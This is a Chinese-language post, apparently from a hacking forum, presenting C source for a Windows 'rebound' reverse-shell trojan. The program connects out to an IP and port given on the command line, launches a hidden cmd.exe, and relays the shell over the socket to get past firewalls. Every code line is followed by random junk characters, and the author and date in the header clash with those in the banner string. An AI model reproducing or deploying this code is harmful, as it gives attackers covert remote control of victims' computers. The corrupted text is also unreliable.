这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 N:m@D][/sW
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/* ============================== t't^E,E
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Rebound port in Windows NT v'mJ~tz
By wind,2006/7 f(EYx)gZ
===============================*/ s^{{@O.
#include 3Yn:fsy
#include DW'0j$;
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#pragma comment(lib,"wsock32.lib") ; |E! |w
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void OutputShell(); nPQZI6>
SOCKET sClient; r*~n`
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; n_e}>1_
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void main(int argc,char **argv) 'fp<FeTg
{ G_7ks]u-
WSADATA stWsaData; m-~V+JU;x
int nRet; CDwFVR'_Af
SOCKADDR_IN stSaiClient,stSaiServer; e<: 4czh8
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if(argc != 3) ')Dp%"\?
{ //`cwnjp
printf("Useage:\n\rRebound DestIP DestPort\n"); mmpr]cT@'k
return; hIE%-gZ/
} \N-|
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WSAStartup(MAKEWORD(2,2),&stWsaData); UH1S_:6
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U{U:8==
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stSaiClient.sin_family = AF_INET; ,6%hu|Y*
stSaiClient.sin_port = htons(0); xPn'yo
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); O?4vC5x
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 5kRwSOG%'
{ ~%8Q75tn.
printf("Bind Socket Failed!\n"); _k"&EW{ Ii
return; qCxD{-9x{
} % RBI\tj
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stSaiServer.sin_family = AF_INET; c"QkE*
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Bp=oTCG
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); priT7!
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) E<98ahZ?l
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printf("Connect Error!"); \r1kbf7?
return; GtAJ#[5w
} D~i@. k
OutputShell(); eD`
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} f2SU5e2
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void OutputShell() XeIUdg4>R
{ h.}t${1ZC
char szBuff[1024]; !txELA~24
SECURITY_ATTRIBUTES stSecurityAttributes; N.Wdi
OSVERSIONINFO stOsversionInfo; Ndug9j\2
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; a2klOX{
STARTUPINFO stStartupInfo; qk+{S[2j
char *szShell; ?( dYW7S
PROCESS_INFORMATION stProcessInformation; #$vhC u<I
unsigned long lBytesRead; "Wn?8vR
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); x(/@Pt2B
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 6yl;o_6:
stSecurityAttributes.lpSecurityDescriptor = 0; )68fm\t(
stSecurityAttributes.bInheritHandle = TRUE; ou,=MpXx*
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); gw~em
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); E;GR;i{t
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w?$u! X
stStartupInfo.wShowWindow = SW_HIDE; 8t*%q+Z
stStartupInfo.hStdInput = hReadPipe; 5w [=
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ]ZryY
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GetVersionEx(&stOsversionInfo); [K4+G]6
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switch(stOsversionInfo.dwPlatformId) h,WY2Hr
{ +GPT:\*q6
case 1: ,;=( )-
szShell = "command.com"; ;MRC~F=
break;
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default: cf[u%{
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szShell = "cmd.exe"; $ DZQdhv
break;
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} ]Re~V{uh
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ap$tu3j
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send(sClient,szMsg,77,0); x 1x j\O
while(1) $qUta<o2@
{ \gI:`>-
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); h@m n
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if(lBytesRead) }fZ=T4r
{ moJT8tb
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); y'2kV6TtqD
send(sClient,szBuff,lBytesRead,0); M6hvi(!X2
} vb"dX0)<
else `j!2uRFe>
{ >K|G LP
lBytesRead=recv(sClient,szBuff,1024,0); j_a~)o-p
if(lBytesRead<=0) break; 6 XOu~+7
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _l{5'm
} R;TEtu7
} M}oFn}-T9a
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return; @<TfA>*VJ
}